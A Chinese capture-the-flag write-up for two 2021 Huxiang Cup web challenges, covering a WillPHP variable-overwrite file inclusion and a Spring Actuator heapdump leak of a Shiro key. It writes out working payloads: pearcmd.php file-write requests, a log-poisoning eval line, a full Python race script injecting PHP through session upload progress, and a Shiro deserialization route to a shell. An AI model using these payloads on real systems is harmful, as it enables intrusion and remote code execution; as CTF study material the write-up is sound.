2021湖湘杯
青 叶

Web

EasyWill

本地复现准备

打开题目的话,是一个WillPHP的框架,版本号为2.1.5。于是去码云下载了整个框架的代码,并修改IndexController的源代码,使其与题目一致。

整个题目实际上考察的是框架漏洞,因此修改的部分不多,修改的为文件为app/controller/IndexController.php,将其中的内容修改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

namespace home\controller;

class IndexController
{
public function index()
{
highlight_file(__FILE__);
assign($_GET['name'], $_GET['value']);
return view();
}
}

源代码审计

一开始还以为是一个模板注入,后来大致弄明白了框架的一个思想,发现并不是模板注入。

直接开始分析步骤,首先,对于assign函数,跟进可以看到:

1
2
3
function assign($name, $value = null) {
\wiphp\View::assign($name, $value);
}

显然只是一个套娃,其实质是位于名空间wiphp下的View类的静态assign函数,再次跟进可以得到:

1
2
3
4
5
6
class View {
private static $_vars = [];
public static function assign($name, $value = NULL) {
if ($name != '') self::$_vars[$name] = $value;
}
}

到此处,该函数执行完成,其作用只是将传入的参数与值存放如静态的_vars变量中。

随后再看下面的view函数,跟进,依旧是套娃:

1
2
3
function view($file = '', $vars = []) {
return \wiphp\View::fetch($file, $vars);
}

再跟进,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class View {
private static $_vars = [];
public static function assign($name, $value = NULL) {
if ($name != '') self::$_vars[$name] = $value;
}
public static function fetch($file = '', $vars = []) {
if (!empty($vars)) self::$_vars = array_merge(self::$_vars, $vars);
define('__THEME__', C('theme'));
define('VPATH', (THEME_ON)? PATH_VIEW.'/'.__THEME__ : PATH_VIEW);
$path = __MODULE__;
if ($file == '') {
$file = __ACTION__;
} elseif (strpos($file, ':')) {
list($path,$file) = explode(':', $file);
} elseif (strpos($file, '/')) {
$path = '';
}
if ($path == '') {
$vfile = VPATH.'/'.$file.'.html';
} else {
$path = strtolower($path);
$vfile = VPATH.'/'.$path.'/'.$file.'.html';
}
if (!file_exists($vfile)) {
App::halt($file.' 模板文件不存在。');
} else {
define('__RUNTIME__', App::getRuntime());
array_walk_recursive(self::$_vars, 'self::_parse_vars'); //处理输出
\Tple::render($vfile, self::$_vars);
}
}
//删除反斜杠
private static function _parse_vars(&$value, $key) {
$value = stripslashes($value);
}
}

此时看View类的fetch函数,上面的都是预处理file参数的过程,直到最后一个过程,如果模板文件存在的话,则调用类Tple的渲染函数render。此时再次跟进Tple::render函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static function render($vfile, $_vars = []) {
$shtml_open = C('shtml_open');
if (!$shtml_open || basename($vfile) == 'jump.shtml') {
self::renderTo($vfile, $_vars);
} else {
$params = http_build_query(I());
$sfile = md5(__MODULE__.basename($vfile).$params).'.shtml';
$sfile = PATH_SHTML.'/'.$sfile;
$ntime = time();
$shtml_time = max(10, intval(C('shtml_time')));
if (is_file($sfile) && filemtime($sfile) > ($ntime - $shtml_time)) {
include $sfile;
} else {
ob_start();
self::renderTo($vfile, $_vars);
$content = ob_get_contents();
file_put_contents($sfile, $content);
}
}
}

进入该函数后,首先使用C函数获取配置,如果不存在shtml_open配置的话,则调用本身的renderTo函数,该框架默认无该配置,因此会直接进入renderTo函数,此时再次跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static function renderTo($vfile, $_vars = []) {
$m = strtolower(__MODULE__);
$cfile = 'view-'.$m.'_'.basename($vfile).'.php';
if (basename($vfile) == 'jump.html') {
$cfile = 'view-jump.html.php';
}
$cfile = PATH_VIEWC.'/'.$cfile;
if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($vfile)) {
$strs = self::comp(file_get_contents($vfile), $_vars);
file_put_contents($cfile, $strs);
}
extract($_vars);
include $cfile;
}

进入renderTo函数后,可以看到,程序简单的拼接了cfile,然后如果未渲染成实际PHP文件时,进行编译渲染,并将渲染后的文件存储,接下来直接将传入的变量_vars解压,接着包含了cfile

在这里可以明显发现一个漏洞,即,如果_vars中如果有键为cifle,此时将对cfile变量进行覆盖,从而进行恶意文件包含。

再注意到,assign函数进行分发时,修改了静态变量_vars,因此,可以判断,如果传入参数name=cfilevalue=$FILE可以构成任意文件包含。

尝试传入:

1
name=cfile&value=php://filter/read=convert.base64-encode/resource=index.php#

成功返回index.php的内容,说明确实存在变量覆盖,这样可以确定题目存在文件包含。

无上传文件包含

那么接下来就是考虑如何使用这个文件包含让我们拿到Flag。

首先,可以确定题目无上传点,那么,这种情况下,可以考虑哪些利用方式呢?(参考:Docker PHP裸文件本地包含综述 - 跳跳糖 (tttang.com))

  • 日志文件包含
  • phpinfo条件竞争
  • Windows下的通配符妙用
  • session.upload_progress与Session文件包含
  • pearcmd.php的利用(Docker)
日志文件包含

这种利用方式简单粗暴,只要中间件与PHP-FPM在同一宿主机上,那么这样PHP就可以读取中间件的日志,不妨以nginx为例,其日志默认存储于/var/log/nginx/access.log/var/log/nginx/error.log,此时我们可以发送请求:

1
http://website.com/?code=<?php%20eval($_REQUEST[x]);?>

此时,nginx将把此条记录记录到成功或错误日志下,这个时候再包含该日志文件既可以执行恶意代码。

但是在此题不可这么做,因为这是Docker环境,观察官方PHP Docker镜像的Dockerfile,可以发现:

1
2
3
4
ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; \
ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; \
ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; \
# ...

Docker将所有日志文件全部重定向到了标准流,这样子我们自然没有办法包含了。

phpinfo条件竞争

这种情况下,我们需要找到一个phpinfo的页面。

由于PHP不论是否有处理$_FILE的逻辑,PHP都将先把用户上传的数据先存放到一个临时文件,在整个PHP脚本执行完成后,这个临时文件将被删除。

从大佬那里拷贝的生命周期图片:

image

所以,如果有一个地方能获取到文件名,例如phpinfo(输出所有请求信息,包括$_FILES),这样就能获取到临时文件名了。

在此基础上,再运用条件竞争,不断的上传文件并且拿到临时文件名,然后不断地尝试包含这个文件。

具体脚本见:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

Windows下通配符妙用

在Linux中,存在通配符,在Windows中也有通配符。

此处直接粘贴出不常见的通配符:

1
2
3
#define DOS_STAR        (L'<')
#define DOS_QM (L'>')
#define DOS_DOT (L'"')

即:

  • DOS_STAR,字符<,匹配0个以上的字符
  • DOS_QM,字符>,匹配一个字符
  • DOS_DOT,字符",匹配点号

因此,如果PHP运行在Windows系统上的话,其临时文件夹为C:\Windows\Temp\,可以知道的是PHP临时文件的文件名为php加六个随机字符。

因此匹配的通配符为:

1
C:\Windows\Temp\php<<

根据作者的话来说,Windows一些内部不太明确的原因,需要两个<进行匹配。

这题显然也不行,题目是基于Docker的环境。

session.upload_progress与Session文件包含

如果PHP配置中启用了session.upload_progress.enable,那么此种方式大概率可利用。

根据PHP官方文档解释,PHP为了能提供文件上传的进度等信息,将会把上传的文件信息存入Session文件,因此,精心构造文件信息时,我们就能向Session文件插入PHP代码,从而再包含Session即可执行恶意代码。

通过自己设置Cookie中的PHPSESSID,可以使得PHP在临时目录下创建一个控的Session文件,其文件名为/tmp/sess_{PHPSESSID}

然后再考虑,不断的上传文件,然后包含SESSION文件。

由于Session文件名可控,这一个条件竞争相对来说比较简单,还是大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait

target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'


def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}

while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)


def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=/tmp/sess_{flag}',
)

if flag.encode() in response.content:
e.set()


if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))

for i in range(5):
futures.append(pool.submit(write, event))

wait(futures)
pearcmd.php的利用

条件竞争其实都应该很熟悉了,但是对于pearcmd.php的利用应该大家都还不是很熟悉,这次看到大佬的文章后确实是又涨姿势了。

pecl是PHP的拓展管理命令行工具,pear则是pecl的依赖库。在Docker中,该工具被默认安装,且路径为/usr/local/lib/php

由于设计之初就没有想到将该工具用于Web服务,故没有考虑其安全隐患,但是如果后端存在任意文件包含的话,这就使得该工具可以作为一个突破点。

具体的分析过程见大佬博客,大意是PHP由于没有严格的按照RFC来处理query-string,使得我们即使传入包含等于号的query-string时,这个值也将被赋值给$_SERVER['argv'],而pear中获取命令的函数如果找不到$argv时,则会尝试$_SERVER['argv'],这也就是说我们可以通过Web的query-string来控制命令行参数。

对于此题而言,请求为:

1
GET /?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/&/<?=show_source('/ffffffff14ggggggg3')?>+/tmp/hello.php

发送这个数据包就会在/tmp下创建一个hello.php,其内容包含了读取Flag的代码。

随后,请求:

1
GET /?name=cfile&value=/tmp/hello.php

即可拿到Flag。

Pentest in Autumn

题目好像有点问题,不知道是部署的时候特意这么做的还是意外了,访问actuator时要加prefix=/;,不然就会爆容器不存在,请重新下发,感觉是平台的锅。

根据题目放出的pom文件,可以看到有Shiro以及Actuator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.4</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.demo</groupId>
<artifactId>demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>demo</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
<version>2.2.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.0</version>
</dependency> <!-- shiro ehcache -->

<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-ehcache</artifactId>
<version>1.5.0</version>
</dependency>
<dependency>

<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.5.4</version>
<scope>compile</scope>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>

</project>

可以看到Shiro=1.5.0,并且有Actuator

发现Actuator可以不授权访问,并且可以下载JVM的HeapDump,下载下来使用VisualVM打开查看:

在VisualVM中过滤,条件为:CookieRememberMeManager

可以得到一个该类的Object的Dump:

image

到这里实际拿到了Shiro RememberME的密钥,解码脚本:

1
2
3
4
5
import base64
import struct
str= base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb',-24,-66,-58,86,126,112,126,-29,70,76,65,-35,5,76,17,-55))
print(str)
# 6L7GVn5wfuNGTEHdBUwRyQ==

然后使用Shiro-Attack工具利用CommonsBeanutils1反序列化利用链就可以直接一键式操作的GetShell了。